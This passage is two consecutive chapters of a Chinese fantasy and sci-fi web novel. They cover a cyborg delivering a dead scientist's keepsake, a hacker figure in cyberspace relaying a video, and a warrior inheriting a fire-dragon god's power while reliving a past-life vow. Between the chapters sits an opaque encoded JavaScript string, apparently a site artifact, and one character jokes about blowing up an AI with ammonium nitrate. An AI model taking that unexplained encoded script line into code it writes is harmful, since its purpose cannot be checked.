这时候,殇打来了电话。伊拿起电话一接通,就听到了殇迫切的询问。她那么长时间的消失,让殇很是担心。听着电话里殇的询问与抱怨,伊露出了一抹淡淡的笑。她笑着告诉殇自己的没事,又在电话里解释了事情的来龙去脉,最后平复了殇担忧的情绪。挂断电话时,伊感觉心里暖暖的。她笑着自言自语道: “我想,也许那把钥匙就在我身边,只是我没有拿起它罢了。” 伊在公园里歇息了一会,又欣赏了一会沃兹河的美景。今天是艳阳高照、晴空万里,沃兹河上很是平静,时而有水波荡漾。看到眼前的美景,伊的心情舒畅了许多。 与此同时...... 在西玲国一个不惹人注意的角落,有着一个小型庇护所。庇护所内,重兵摩多正在搜集信息。搜集完信息,摩多一拳头打碎了庇护所内的一扇铁门。铁门后有着一具骸骨,骸骨的手中还握着一把手枪。摩多走到这具骸骨前俯下身来好好地打量了一番,又用生命体探测装备检查了一下这具骸骨,发现这具骸骨没有生命体信号。摩多摇了摇头,很遗憾地说道: “看来,她没有机会在与世人见面了。” 摩多起身,拿走了这具尸骸衣服上的名片,并用高压闪电为这个名片消了毒。摩多为这具尸骸默哀了片刻,然后带着这张名片离开了,走时还不忘关门。之后,摩多带着这个名片来到了流浪商人的小店之中。 见到有客人到来,在柜台处看书打磨时间的马婷婷立马放下书,客客气气地迎接摩多的到来。马婷婷很客气地说道: “欢迎光临!请问客官有什么想要的?” 摩多听到她的声音,转过头去问她: “请问马婷婷和狄天明在哪里?” 马婷婷的笑容瞬间凝固,然后慢慢没了笑意。马婷婷面无表情地回答他: “我是马婷婷,你找我有什么事啊?” 摩多打量了马婷婷一番,然后问道: “狄天明呢?” 被问及这个问题时,马婷婷感觉一阵心酸。她又回想起了狄天明,又回想起了当姐姐的那段时光。马婷婷一脸严肃地回答道: “他死了。” 能说出这个回答来,她一定用了很大的勇气。摩多听到这个回答,摇了摇头,为那个孩子感到惋惜。马婷婷直入正题,问他: “你来这里是为了什么?” “为了帮我一个老朋友传达个东西。” 摩多即答道。马婷婷抱起膀来,立即问道: “什么东西?” 摩多拿出那张名片,将它轻轻地放在柜台上。在看到名片上的名字时,马婷婷被惊得目瞪口呆。摩多见她这个反应,解释道: “这是我老朋友的遗物。我欠她个人情,我就帮她把这份遗物交给了她最信任的人,也就是你和狄天明。但狄天明已经离去,只能由你来保管了。留个念想吧,马婷婷。” 马婷婷拿起这张名片,讷讷半晌没说话。她看着这张名片发呆,眼神之中尽是对家人的怀念。摩多见她如此,转身离开。他没走出三步,马婷婷就叫住了他。马婷婷问他: “别走着,我想问你些问题。” 摩多停步,点头示意,然后转身回到柜台旁。马婷婷问他: “既然你是吴妈妈的老朋友,那你能告诉我吴妈妈这么个学识渊博的人怎么会去危机四伏的无人区呢?” 摩多回答她: “说出来你肯定不信,但那就是现实。吴,是天书国一个富人家庭的大小姐,是家里的长女。她一心专注于搞科研,以至于忽略了她家里的事情。为了研究某项特殊科技,她甚至与她的丈夫离婚了。她丈夫带着她才有两岁大的孩子离开,一走再也没回来。我不知道她是怎么想的,我也不知道她在与丈夫孩子分别时她究竟能有多难过。” 摩多疏松了下面部的呼吸装置,释放出大量气体,发出了一声特殊的叹息。他继续说道: “经后来找人打听,才知道那项特殊科技是一种高尖端生物科技,是能自定义生物的科技。后来她丈夫揭发了她,想以此来让她收手。可是她丈夫没想到,她丈夫这一行为却害了她。首脑不允许这种科技的存在,于是就派人毁掉了她背后那个团体的一切努力成果,并下达了逮捕她们这个团体全部成员的命令。我不知道到底有多少人没被抓住,我只知道她逃了出来,逃到了无人区。” 听到此处,马婷婷皱紧眉毛吐槽道: “吴妈妈的老公也太坏了!” 摩多摇了摇头,告诉她: “她丈夫当初也没想到后果能如此严重。她丈夫事后做出了许多弥补,但她已经永远没法再回到都市,只能当个活在荒芜中的原始人或者是暗影之中提心吊胆的幽灵。她一直挂念着她的家人,但她已没有机会再与他们见面。也许她当初能收留你和狄天明,就是因为她心里对家人的愧疚吧。毕竟她也是位母亲......” 说到此处,摩多又发出了一声叹息。摩多真身准备离开,马婷婷伸手挽留,迫切地问他: “别走啊!把故事讲完......” 摩多无奈地告诉她: “故事已经讲完了。剩下的那部分,就是你的遭遇。” 听到这个回答,马婷婷把头低了下去,难过与失望充满了她的心。这时候,摩多突然停步,将右手搭在马婷婷的肩上。马婷婷抬头去看,摩多大半部分机械化的脸上竟有种异样的慈祥,看着他的脸,马婷婷感觉到了摩多心底的那份善良。摩多用温柔语气告诉马婷婷: “生活下去的意义,你应该还未忘记。请好好地生活下去,活得快乐幸福就好。吴和狄天明都期待着那一天的到来,孩子。” 马婷婷的眼神中有些迷茫,她问摩多: “那一天会到来吗?” 摩多放下搭在她肩上的手,往后撤了一步。摩多抬起巨大的左手,对她竖了个大拇指,并告诉她: “会的,孩子。” 说完,摩多就离开了这里。看着摩多逐渐消失在视野之中的背影,马婷婷感觉心里一阵温暖。她张开手,好好地看了看手中的金色名片。名片上倒映出了她的影子,她对着自己的影子露出了自信的笑容,然后握紧这金色的名片,仿佛她紧紧握住的是希望。她此刻的眼神格外坚定,那份坚定之中蕴含了她强烈的决意,以及心中那份强烈的希望。 马婷婷深情地说道: “吴妈妈,狄天明,我一定会好好生活下去的,不让你们失望!我要像花儿一样,绽放出属于我的色彩。” 带着这份坚定,马婷婷将在以后的生活之中逐渐找到自己所爱的、自己所追寻的事物。生活下去的意义,她已经明了。 ....... 在复杂的电子空间之中,x先生正如往常一样在密密麻麻的数据之中闲逛。就在这时,一通来自另一个空间的电话打了进来。他迅速接通,然后打了一个响指,瞬间移动到他在电子空间之中的办公室里。 “喂,是那个家伙给我打了电话?如果是闲的没事来找茬的,我现在就把你这辈子的网上冲浪记录公布于世,让你体验一把社会性死亡。” 他对电话那头的人这样说道。电话那头很快有了回应。 “我......” “如果是谈商务的,请你拿出些诚意来,不然我就黑进你们公司的服务器,让你们的逻辑处理器们呲火星子。打扰我摸鱼是很过分的事情!” 他打断了对方的话。等他说完,对方继续开口说。 “我......” “你要是AI的话,我可以给你几个友善的建议。去吃几斤硝酸铵,再配点电火花,最好再整点鞭炮!这样能一下子就把你炸上天。保证家人连你脚上最左边的第三块骨头都找不着。” 他再次打断了对方的话。对方一下子不说话了。见对方沉默,他很好奇地问道: “好了,说了这么多。说吧,你是谁?” “无颜客。Soc-6-。” 对方冷冷地回答道。一听对方是无颜客,x先生立马就切换了人格。x先生用低沉且带有一丝磁性的嗓音对无颜客说: “抱歉,刚刚切换错人格了。请问,有何贵干啊?” 见他变了态度,无颜客有些委婉地对他说: “我来啊,是想请你帮个忙。” 他问无颜客: “什么忙啊?能帮的话我一定帮你。” 一个淡蓝色的光球突然出现在了x先生面前。x先生拿过来一看,发现这光球里面是一段录像。无颜客向他解释道: “这光球里面的录像你想看就看,但恳请你帮我把它交给伊娜前辈。伊娜前辈看了,一定会很高兴的。” 说完,无颜客断开了与电子空间的通讯。x先生吸收了这个光球,阅览了一下里面的录像。看过录像,他有些感动。他把光球复制了一份,然后瞬移到了伊娜所在的那个小屋之中。 见到x先生突然来访,伊娜热情地去迎接。伊娜问x先生: “请问,今日为何突然来访?” x先生对她说: “有个东西要给你看,你应该会喜欢的。” x先生将这个光球交到了伊娜手中,然后向她解释道: “这是无颜客发来的视频。里面有你的姑娘想对你说的话。” 伊娜一听他这么说,开心的不得了。她已多年未见过自己的女儿,那份思念终于能在此刻兑现。她迫不及待地吸收了那个光球,开始观看那段珍贵的视频。伊的样子活灵活现地呈现在她的眼前,一举一动都惹得她喜欢。尤其是听到伊想对自己说的那些话时,伊娜更是激动的不行。她心中的那份喜悦难以用语言表达出来,她很久都没有这么开心过了。她想跟视频里的伊说话,想要好好抱抱自己的女儿,想要打破她与伊之间的墙壁。她渴望回到人间的执念,在此时更加强大。 看完视频,伊娜笑着自言自语道: “宝贝,这么多年过去了,你都长成漂亮的大姑娘了。很抱歉,这些年妈妈没能陪伴你成长,要是以后有机会,妈妈一定补偿你,宝贝。妈妈很想亲眼见到你,宝贝。但妈妈现在被囚禁在牢笼之中,见不到你。宝贝,妈妈向你保证,妈妈会有一天与你相见的。一定会的!” 说完这些,伊娜笑着向x先生道谢。 “谢谢你,x先生。也谢谢无颜客先生。” x先生笑着回应她: “没事,举手之劳。更何况,我们两个是站在同一战线的战友呢。” ....... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第三十六话:前世今缘(上) 此时,墨子邵缓缓睁开了眼,发现自己来到了一片竹林之中。他缓缓起身,环顾四周,发现竹林之中隐约有一条小路。他很疑惑地说道: “我......现在在何方?我不是被殇击杀了吗?” 竹林中突然刮来一阵凉风,竹叶之间嘶啦嘶啦的响动,周围的一切都变得幽秘起来。墨子邵警惕地环视着周围。这时候,竹林深处传来了阵阵萧声,宛转悠扬中带有一种激昂的调子。墨子邵正纳闷怎么回事时,竹林深处传来了如惊雷一般的阵阵鼓声。竹叶在发颤,根根十丈立竹随着鼓点与萧声开始摇摆。听着竹林中的乐声,墨子邵感叹道: “是何等的美乐能让竹林为之沉迷?” 他说完这句话没多久,竹林的深处就传来了一个老人的笑语。 “孩子啊,你和老朽的想法如出一辙啊。” 墨子邵听声,环视四周,不见说话那人的身影。这时候,他面前的那片竹林左右横移开来,像是拉开了一扇门。一位拄着拐杖的白发老者从中走出,带着笑意走向了墨子邵。墨子邵见到这位老者,好奇地问道: “老人家,这里是天下何处?” 白发老者笑着回答道: “何为其问曰?此乃凡竹林也,无名,因千年孤守而无人问津。你者,是首来者也。” 墨子邵听懂了他的话。墨子邵继续问道: “出路在何处?” 白发老者笑着回答: “目视天仓无以定格,路何?由者从焉,方其低傲首,是路者也。” 墨子邵看向地面,明白了老者的话。老者见他顿悟,低头一笑,化成仙云消失了。见老者能有如此变幻,墨子邵有些许惊讶。墨子邵看向前方的林中小路,说道: “先去前面的区域看看吧。” 墨子邵起步走向那条小路,沿着这条路在竹林中穿梭。林中萧声不断,鼓声不绝,没走几步又多了筝声与二胡声。听着仙乐,顺着清风,墨子邵的脸上挂起了一抹笑容。他在林中的步伐变得愈发轻快,感觉飘飘然了许多;人世间的浮尘不知不觉间就被抛之脑后,就像在仙境中漫步。在林中这样行走,实属一种享受。 步行好一会,墨子邵走到了竹林中的一片空地。空地上有着一堆黑石,黑石之中插着一块方形石碑。这堆石头与周围格格不入,仿佛是从天上降下或是有人故意搬到此处的。墨子邵见这堆石头后很疑惑地说道: “奇怪,这石头怎会出现在这竹林之中呢?” 墨子邵很好奇,于是就上前去查看。当他靠近这堆石头的时候,其中的石碑上慢慢亮起了一道红光。墨子邵见此,立即停下去观察。他发现这块石碑上有着精致的龙纹,这石碑的神圣感一下子就上来了。见这块石碑只是发光,墨子邵就继续靠近。墨子邵每向这块石碑那边走一步,这块石碑的光就亮一分。当他贴近这块石碑时,那光芒竟反常的变暗,似乎在迎接着他的到来。他缓缓伸出手,轻轻地触碰了一下这块石碑。突然间,一股怪力将他的手吸到了这块石碑的表面。墨子邵见此惊呼地说: “诶?怎么回事?” 这时候,动听的乐声在竹林中奏响。那是由各大乐器的音律混合而成的仙灵之乐,袅袅不绝,荡气回肠!隐约能听到人的合声与林间鸟兽的低鸣,还有水的声韵为这首曲子润音。石碑上那红光愈发耀眼,伴随着的是整个天空的变得如胭脂一般红。听到这动听的仙乐,见到这壮观的景象,墨子邵的心里难以平静。他惊叹道: “动听的仙乐,震撼的景象,是何等存在要降临于世间啊?!” 话音刚落,地面开始震动,整座竹林开始害怕地颤抖。此时,太阳突然移动到墨子邵头顶上,正对墨子邵与那块石碑。哗哗几声,天上降下一颗颗火陨星,在刹那之间坠落竹林。轰轰几声,陨星击地爆炸,随即升起一道道冲天的火柱。整个天空被火光染成了橙色,无数火星像雨点般落下,点燃整座竹林。周围的空气开始燃烧,致命的高温让竹林凋萎。狂风呼啸卷起无数火星,点燃一把猛火。 此时,天上的太阳突然变成了一只红色的巨大眼睛。这只眼凝视着墨子邵及其脚下的土地,让地面上的一切生灵惊恐万分。但唯独墨子邵不惧怕它,而且还用警惕的目光看着它。墨子邵看着这只眼睛,问道: “你是谁?报上姓名来?” 那只眼睛眨动了一下,似乎是在回应墨子邵。突然,一只形似朱雀的巨龙像一颗陨石轰然坠入竹林之中。如浪潮般的向外喷发的烈火,伴随着剧烈的地震,整片竹林眨眼间化作灰烬。顿时周围的场景大变,石碑突然消失,大地变做浮岛,天空染尽血色,不时还伴有几团火球从天空中落下。一切的一切仿佛都回到了上古时期,那个混乱但传奇辈出的年代。 那头巨龙对着天空吼了一声,大地跟着颤动三分,墨子邵更是差点就倒在了地上。这头巨龙的羽翼上燃起了金色的烈焰,火光之中散发着极高的温度,地面上的岩石接触就会融化。看着面前的巨龙,墨子邵感应到了什么,他鼓起勇气,迈步走向了那头巨龙。那头巨龙感应到了他,立即转过身去看他。借助它转身的机会,墨子邵一睹巨龙的真容。 这头巨龙的头上有着两对龙角,一对在头的两侧,像公牛向上弯曲的牛角;另一对在头顶,像蛟龙的龙角。其头顶有着两对长长的金色翎羽和七根漂亮的冠羽;同时还有浓密的毛发,像辫子,也如辫子一般垂下。其面部有两对眼睛,一张长满利齿的大嘴,下巴上有类似于胡子的毛发。其全身的毛发浓密,且多数为血红色。 巨龙身上有两对足,一长一短,短的是巨龙的前爪,长的是巨龙的后爪。前爪长在靠近肩部的位置,类似于人类的手臂。后爪长在巨龙身体下端,如正常鸟类一样后爪长而强壮。其背后有着一对巨大的翅膀,大到合起来能把巨龙整个包起来;翅膀靠外的一半整个都燃着金色烈焰,能看到其中翅膀原来的轮廓,看着有种黑玛瑙包裹一层黄金的感觉。其尾巴样子形如朱雀,但比起朱雀来要更漂亮与夸张;尾羽的数量很多,而且长度惊人,足足有直立身高的一半!尾羽上燃着熊熊大火,看起来就像是由火焰构成的尾帘。 这头巨龙看着威武霸气、凶神恶煞,让人望而生畏。有一刻,墨子邵甚至想要停下步伐,但他的勇气还是促使他慢慢靠近了巨龙。这头巨龙见到墨子邵竟然无动于衷,之前的凶恶一下子就消失不见了。当墨子邵走近这头巨龙时,这头巨龙开口说话了。 “继承者,你的血脉很纯洁。可你的决心比你的血脉还要纯洁!你的决心感动到了我,念在有血缘相承,我愿意将我的一部分力量交给你,墨家第六十三任子孙墨子邵。” 墨子邵停下脚步,一脸好奇地问这头巨龙: “敢问先祖大名?” 巨龙回答他: “吾名,炎阳朱雀之龙,是恒律太玄之一。是终末五行之火,乃冥古上神钦佩的真神。” 墨子邵一听对方这个来历,惊得一时半晌说不出话来。面对恒律太玄这一神明级的存在,墨子邵渺小得就像蚂蚁一样,甚至可以说连蚂蚁都不如。但墨子邵并未因此感到恐惧,反而更加勇敢。他遵循武道,知世事道理。知道面对强敌不能退缩,要敢于亮出自己的剑。能做到这样,就是一位合格的武者。想到这些,墨子邵心中的勇气彻底战胜了一切恐惧。 这时,巨龙对他说: “吾知你心中所想。你不惧怕我,你还敢于向我亮剑。你能这么想我很欣慰,继承者。我将这份力量打入你的体内,让你能展现出你真正的力量。等到终末神老爷醒来的时候,你将拥有神明的力量。” 墨子邵握紧拳头,问巨龙: “会有多少人拥有这神明的力量?” 巨龙回答他: “寥寥无几,屈指可数。可掌握神明之力者,必先得得到神明认可。像你这样品信有保证、能力又强大、血脉又纯正的人很少,少到可怜。像你这样的继承者,多数都是继承元古圣贤或是古州之子的力量,少数的能继承天河七星的力量,极少数人才能像你一样继承恒律太玄的力量。” 墨子邵松开了拳头,问巨龙: “这力量需要付出什么代价吗?” 巨龙回答他: “有,不过很小。除了太古圣龙那家伙事多以外,我们这些神都事少。记住,使用力量时控制点幅度,用大劲了会减你寿命的,甚至还可能让你暴毙而死。” 墨子邵点了点头,说: “我知道了。” 巨龙想起了一件事,这件事跟墨子邵息息相关。巨龙告诉墨子邵: “墨子邵,你的前一世有个未兑现的诺言。这个诺言许诺下来已有三百年之久了,可你还未去兑现。” 墨子邵一听还有这事,赶忙询问道: “请问这诺言是什么?我是答应了国家未能赴愿?还是亏欠哪个人?请您告诉我,我知道后一定会去兑现。” 巨龙轻轻地摇了摇头,告诉墨子邵: “我说你不知,我不说你便知。用眼看,总比听来要强。” 巨龙猛地煽动翅膀,掀起一阵灼热的风浪。正面被风吹中,墨子邵眼前一黑,瞬间就晕了过去。 一段来自过去的景象出现在了墨子邵的脑中: 在朦胧的黑暗之中,一道耀眼的光芒在黑暗中出现。那是一只巨大的金色蝴蝶,所散发出的每一寸光芒都是希望。它轻轻煽动翅膀,无边的黑暗为之震颤。躲在黑暗中的精灵们,被它的光芒所吸引。渐渐地,那些精灵便崇尚起了它。那些精灵步入光辉之中,渐渐地褪去身上的黑色,也同它一起开始发光。精灵们本以为它有一个美丽的名字,可谁知它的名字竟然是终末。一双双血红的眼睛从它的翅膀上睁开,它所散发出的光也变得猩红起来,它甚至整体都变成了红色。无数道红色闪电击碎黑暗,汹涌澎拜的黑色巨浪随即被掀了起来。无数精灵为之恐惧,从此远离它。但还有的追随者不惧恐惧,选择继续追随它的身影。 它是终末,亦是开端。击破混沌的神明,掌握鸿蒙的至尊。它的每一寸光芒都能让荒土迸发出生命!它的每一次振翅都能让世界为之颤抖!它的每一次苏醒与沉睡都会为世界带来新生与末日!它是号称为三大冥古上神之一的存在,是凌驾于一切生命体之上的无上神明。凝望着它,就相当于凝望着万古鸿蒙。 来自冥古宙的呼唤愈发清楚,沉睡已久的神明注将苏醒。 画面消失的刹那,墨子邵感觉到朦胧之中的呼唤...... 温暖的春光普照大地,是一年之春,大地上充满生机的时刻。温和的阳光照在墨子邵身上,墨子邵缓缓睁开了眼睛。他看到眼前是一片桦树林,桦树林中有着一条小路,小路尽头有这样一棵巨大的桃花树。墨子邵站起来身来,环顾四周,发现这个地方很是熟悉。猛然间,他想起这里曾是他年少时练武修炼的地方,是他与同事轩第一次相遇的地方。墨子邵此时露出笑容,他对这里的怀念之情很是深重。墨子邵笑着说道: “真怀念这里啊。在这里享受宁静安心练功的日子,那是我一去不复返的童年啊。义父常带我来这里练武。” 说完这些,墨子邵留恋了片刻,然后就沿着小路走出了这片树林。走出树林,墨子邵见到了那棵巨大桃花树。桃花树前立着块石碑,石碑上写着“往生神树”四个字。走到树前,墨子邵惊讶地发现树前的空地上插着一把四棱龙纹长锏。他很疑惑地问道: “这里怎会插着这样一把兵器呢?” 思考着,墨子邵无意间抬头去看了这桃花树一眼。桃花树风姿婀娜,其上桃花绚烂,落蕊与飘落的花瓣乘风而飞,在风中起舞。就是这一眼,墨子邵回想起了当年的那个夏夜。 那年,墨子邵二十一岁,轩十九岁。那时候墨子邵是轩的师哥,轩对墨子邵很敬畏。两人那时常常切磋一手,比比功力的强与否。墨子邵那时凭借功力领先轩一年,总是成为胜利的那一方。那天日暮时分,他们两个刚吃过晚饭,闲来无事,就来到了桃树下休息一会。在休息的时候,轩突然问了他个问题。 “墨子邵,你的志向是什么呢?” 墨子邵答道: “我要成为保家卫国的战士!为了我的祖国做贡献!” 轩拍拍手,夸赞道: “哇!墨子邵,你的志向真高远啊!你和我志同道合,我也想为我的祖国做贡献。” 墨子邵对着她竖起了个大拇指,也夸赞她: “你也如此。我们都是有远大志向的人。” 被他这么一夸,轩的脸刷的一下就红了。她有些不好意思地笑了笑。然后她继续问道: “你若遇到了一生的挚爱,你会做何选择呢?” 墨子邵很耿直地回答道: “有国才有家,我会把我的一生奉献给我的祖国!凡世间的恩恩爱爱与我无缘,家庭只会影响我守护国家的决心。” 轩低下了头,似乎这回答不是她所期望的。低下头片刻,她突然抬起头来,继续问道: “你相信姻缘这种东西存在吗?” 墨子邵很疑惑地问她: “这种骗人的东西你难道相信?” 她回答道: “不不不,我是不信的,所以才问你信不信。” 墨子邵很严肃地告诉她: “别信那些骗人的东西!专心练功。” 回忆完这些,墨子邵的心情有些复杂。他沉默片刻,思索片刻,而后看着这棵桃花树慨叹道: “应该就是从那个时候开始的。” 墨子邵走到那把长锏前,一把拔出了这把长锏,然后捧在手里好好欣赏了一番。这把长锏做工十分精美,上面的龙纹雕刻的栩栩如生,从每块料上都能感受出工匠的细心。墨子邵用手轻抚这把长锏,嗡的一下,如点灯般在长锏上亮起了五个大字:“皓衍龙雀锏”。墨子邵惊呼道: “皓衍龙雀锏,好酷炫的名字。” 就在这时候,远方突然传来了一个女人轻柔的呼喊。 “相公!” 墨子邵转头看去,一个身着龙袍的女子向着他走来。他一脸疑惑地看着她,他慢慢放下手中的锏,本能地往后退了一步。这时候,他发现自己的视角被固定住了。无论他怎么移动,就是转头,他的视角都不发生改变。墨子邵刚想开口说些什么,但他的嗓子此时就跟哑了似的,他愣是连个声都发不出来。墨子邵心想: “奇怪?我的视角怎么动不了?而且我还说不出话来!难不成,我现在是在观看某个人的视角?” 等那个女人走近,墨子邵看清了她的长相。那个女人的长相让墨子邵想起了轩;她们两人的长相相差无几,几乎是一个模子里雕刻出来的。不知为何,墨子邵突然知道了自己所观看的是谁的视角以及这个女人的身份。墨子邵所观看的视角是他的上一世,一个名叫墨南祥的宗门放逐者。那个女人她叫轩辕北凌,又称龙轩帝。 轩辕北凌笑着对墨南祥说: “墨相公,这是我们第三次幽会了。上次幽会还是在一年前呢,你想我了吗?相公。” 墨南祥笑着回答她: “甚有思念呢。你最近如何,是否有烦心事让你难过。” 她露出略显苦恼的表情,告诉他: “无小事烦心,但有大事苦恼。” 墨南祥问她: “何事?” 她转悲为喜,笑着回答: “一年未与相公相见,为情所愁。” “原来是此事啊。” “相公,你这次能多陪我一会吗?” “可以,娘子。不过这次再分离,就可能是十年了。” “嗯?你好自私哦,相公。到时候我头发都花白了,都不美了。” “君子不爱美而爱心灵。心灵美,是永恒的。” “相公,那你是君子吗?” “娘子想我是,我就是。” “相公是君子也!” 接下来,两人在桃花树下看了一会桃花。两人沉浸在桃花的美色之中,不知不觉彼此依靠在一起。这时候,轩辕北凌问墨南祥: “你相信姻缘吗?” 墨南祥问她: “姻缘?你还信那鬼东西?” 她摇摇头,笑着告诉墨南祥: “我是不相信,所以才来问你的。” 墨南祥笑笑,告诉她: “我不信姻缘,我只信缘分。” “我也一样,相公。” “北凌,你信任我吗?” “相信呀!怎么突然这么问?相公。” “我这次陪你整整一天!无论发生什么,这一天我都不会离开你。” “真的?!相公。你别骗我,我可不聪明。” “一言顶千金。” “太好了!相公。” “娘子,今天晚上给我留个窗缝,再少派点人在皇宫内巡逻,让他们好好休息休息。翻墙走瓦片不是个轻松活,被人抓到可就悲剧了。” 轩辕北凌瞬间明白了他的意思,她的脸跟着泛红起来,露出了一抹笑容。她笑着对墨南祥说: “嗯~~相公,你好坏哦。这种羞羞的事怎么能轻易说出口呢,我都害羞了。但是吧.......也不是不行。希望相公你准时到来哦!嘻嘻......” 墨南祥见她如此,表情却变得严肃了起来。他摇了摇头,意味深长地叹了口气,说道: “娘子,现实所迫。我担心以后再也没有机会。” 一听墨南祥这么说,轩辕北凌收起笑容,开始从心里担忧起墨南祥。轩辕北凌问墨南祥: “怎么了?相公。” 墨南祥拿出一串五线钱,看着这串五线钱心怀担忧地说道: “这一去,可能不是十年,而是永别。” “啊?!相公,使不得啊。你就放下过去的那些吧,别冒这个险了。” “不,娘子。血海深仇,终有一报!” “相公,为了我,你能放下这些吗?” 墨南祥看了她一眼,沉默了片刻,然后委婉地告诉她: “一码事是一码事,我爱娘子你和报仇是两码事。” “那相公,你还能活着回来吗?” “我不知道。前路一片未知,胜负的结果我还没有看到。我约你在这里见面,是有特殊用意的。” “不会吧,相公。要不......你就留下吧。” “我心已决,娘子不用这番劝我的。” “好吧,相公......那相公,你说你约我到这棵树下的特殊用意是什么?” “娘子,你猜。” “因为这棵树开得是桃花,花儿美丽妖艳?” “不。再猜。” “想不出了,相公。” “娘子,往生神树的传说你听说过没?” “略有耳闻。” “当在往生神树前许下诺言,下一世就必将能兑现。” “所以相公你的意思是?” 看着面前的桃花树,墨南祥郑重地许下了自己的诺言。 “往生神树,我墨南祥在此许下诺言!若今世再难与轩辕北凌相见,请您保佑我们,让我们二人可以在下一世相见。如果我们二人在下一世真的相见,我将相伴她一生,用最无私的爱去爱她!无论贫穷、无论境地、无论我是否健康,我都愿在来生陪她一辈子!” 墨南祥说出这些话的时候,轩辕北凌在一旁悄悄地哭了。墨南祥许诺完,见轩辕北凌流泪,立即上前去哄。谁知,轩辕北凌一把抱住墨南祥,抱得很紧,因为不想与他分离。轩辕北凌流着泪笑,深情地告诉墨南祥: “相公......答应我好吗?活着回来见我。别管怎么样,活着回来。十年,二十年,就算是我老到走不动了,我也会等你回来的。” 墨南祥轻拍她的后背,安慰她此时脆弱的心灵。墨南祥深情地对她说: “我答应你,娘子。你也要答应我一件事。在我离开后,无论你听到什么关于我的留言传闻,就是你最信任的官员交给你的,你也别相信。你始终相信我爱的人是你,你就在皇宫里等着我回来,好吗?” 轩辕北凌点了点头,答应了他。两人在桃花树下对彼此许下了诺言,又彼此祝福对方,祈愿彼此都一切安康。 墨子邵心里: “这真的是我的前一世吗?太过于震撼了!那么一想,轩辕北凌的这一世不会是......不可能吧?!” 时间飞速流逝,今年的冬天,龙轩帝诞下一女,其名为轩辕柒凌。墨南祥离去了很久,三年之内杳无音讯。每当春秋时节,龙轩帝总会带着孩子来二人互相许下诺言的往生神树前弹奏琵琶,在悠扬的乐声之中回忆两人的点点滴滴。日子就在憧憬的美好中度过,她的每一天都心怀期待。 三年后的一个冬天,一个坏消息传到了龙轩帝的耳中。墨南祥和虎宗门宗主的女儿结婚了,消息传到时已经入过洞房拜过天地了。这则消息让龙轩帝勃然大怒,当庭用利剑斩断了一盏灯来泄愤。愤怒过后,龙轩帝到了皇宫里的莲花池旁的亭子里散心。 轩心里: “诶?这不是墨子邵给我戴上龙印的那个亭子吗?” 看来能看到这一切的,不止墨子邵一人。 看着一池的莲花,龙轩帝心里却堵得慌。说是散心,可她却一点没有想放下这件事的意思,反而还加剧了她心中的负面情绪。龙轩帝对着莲花池连连叹息,叹息声中半个时辰就过去了。亭外的众臣想上前去询问殿下的状况,可他们深知龙轩帝战斗力惊人,更何况殿下现在心情不好,搞不好会把小命交代她手上,所以众臣只是一走一过看一眼,不敢真的上前去问。龙轩帝一脸惆怅地说道: “相公,想不到啊,你竟是个负心汉!你骗了我!骗了我的身又骗了我的心,你就是个混蛋!你可知道你与别的女人恩恩爱爱时我的心是怎样的难过?!你这负心汉!” 说着说着,泪又流了下来。这时候,龙轩帝回想起了两人彼此许下的诺言。眼前的事实动摇了龙轩帝的内心,但她思索过后还是愿意相信墨南祥当初对她说的话。想到这些,龙轩帝的心情平复了一些。龙轩帝看着一池莲花,笑着说道: “莲花啊,莲花,你说我的相公会骗我吗?也许这也是他机会中的一部分吧。真是的,害我白白流泪了。相公还是一如既往地坏!” 一轮轮日月升起,春夏秋冬悄悄地来又悄悄地去,又是一年过去了。这年春的某一天,一封信突然出现在龙轩帝的床头。她起床后很是惊喜,因为这极可能是她相公悄悄放进来的。她怀着激动的情绪打开信件,发现真的是她相公写来的信。 信中这样写道: 娘子,你近来还好吗? 我很抱歉,今天不得不告诉你一个不好的消息。 怪我愚蠢吧,我那时不该找你的。也许没了你,我现在能好受些。 别为我的离去而悲伤,你也该去找你的新欢。 的确该去那么做,止步不前是懦夫的行为。 迫使你为我做了那么多,到头来我们之间还是没有结局。 携手共进退的日子已经逝去了,我也该投身于新的生活了。 被伤透了心的感觉一定不好受吧,但那已经与我没关系了。 我也有了我的新欢,我也有我的家庭。有你的日子很好,可那终究是过去的事。永别了,轩辕北凌。感谢你陪我度过那么多日子,感谢你对我无私的爱。如有可能,我们定会再次相见。 不甘的泪水一滴滴地滴落在信件上,浸湿了一片片字迹。她用手紧紧地抓着这封信,抓出了很多褶皱。她心中顿时被悲伤与愤怒所占据,被如此欺骗与嘲弄让她愤怒无比。她一把将手中的信撕成两半,一把扔到了地上,还踩了几脚。边踩边骂: “墨南祥!墨南祥!你就是个畜生,混蛋!你就是个彻头彻尾的骗子!我再也不相信你了!别让我再见到你!要是再让我看到你,我要把你剁成肉馅!什么誓言?!什么往生神树?!什么厮守一生?!都是骗人的!” 骂完踩完,龙轩帝回到床上,趴在床上就开始撕心裂肺地哭。周围的巡逻士兵听到殿下的哭声,赶忙过来查看。没等那些士兵询问,龙轩帝抄起一把剑,连剑带鞘一起扔了过来。士兵见殿下如此,吓得扭头就跑。顿时间谁也不敢询问殿下到底发生了什么事。 轩: “啊?这人也太过分了!骗人也就算了了,还杀人诛心!他的下一世肯定不是墨子邵,墨子邵祖上不可能有这样的混蛋!” 过了一会,轩辕柒凌来这找她妈妈。走到床前,见妈妈龙轩帝哭得这么伤心,她想安慰几句,但就在她开口之前,她注意到了地面被撕成两半的信。她在去拿信的时候,不小心碰掉了床头的信封。一个发光的铜钱从信封中掉出,当的一声,掉落在地面上。轩辕柒凌捡起这枚铜钱,仔细一看,铜钱上赫然写着“竭智尽忠”四个大字。 这时在哭泣的龙轩帝突然不哭了,她抬起头来去看她女儿。当看到她女儿手中的铜钱时,她似乎明白了什么。她对自己女儿说: “凌,把这枚铜钱拿给我看看。” 她女儿乖巧地把这枚铜钱交到了她手中。当她看到这铜钱的时候,她回想起了第一次与墨南祥幽会时,墨南祥告诉她的那些话。 “这串五线钱是家族留下的传家宝。这上的每枚铜钱都是无价之宝,都是我的祖上通过与大师切磋后所赢得的荣誉。这串五线钱还有个别名,叫武德吊坠。这五枚铜钱上分别写着有关仁、礼、智、义、信的成语,象征武德对应的五德。” 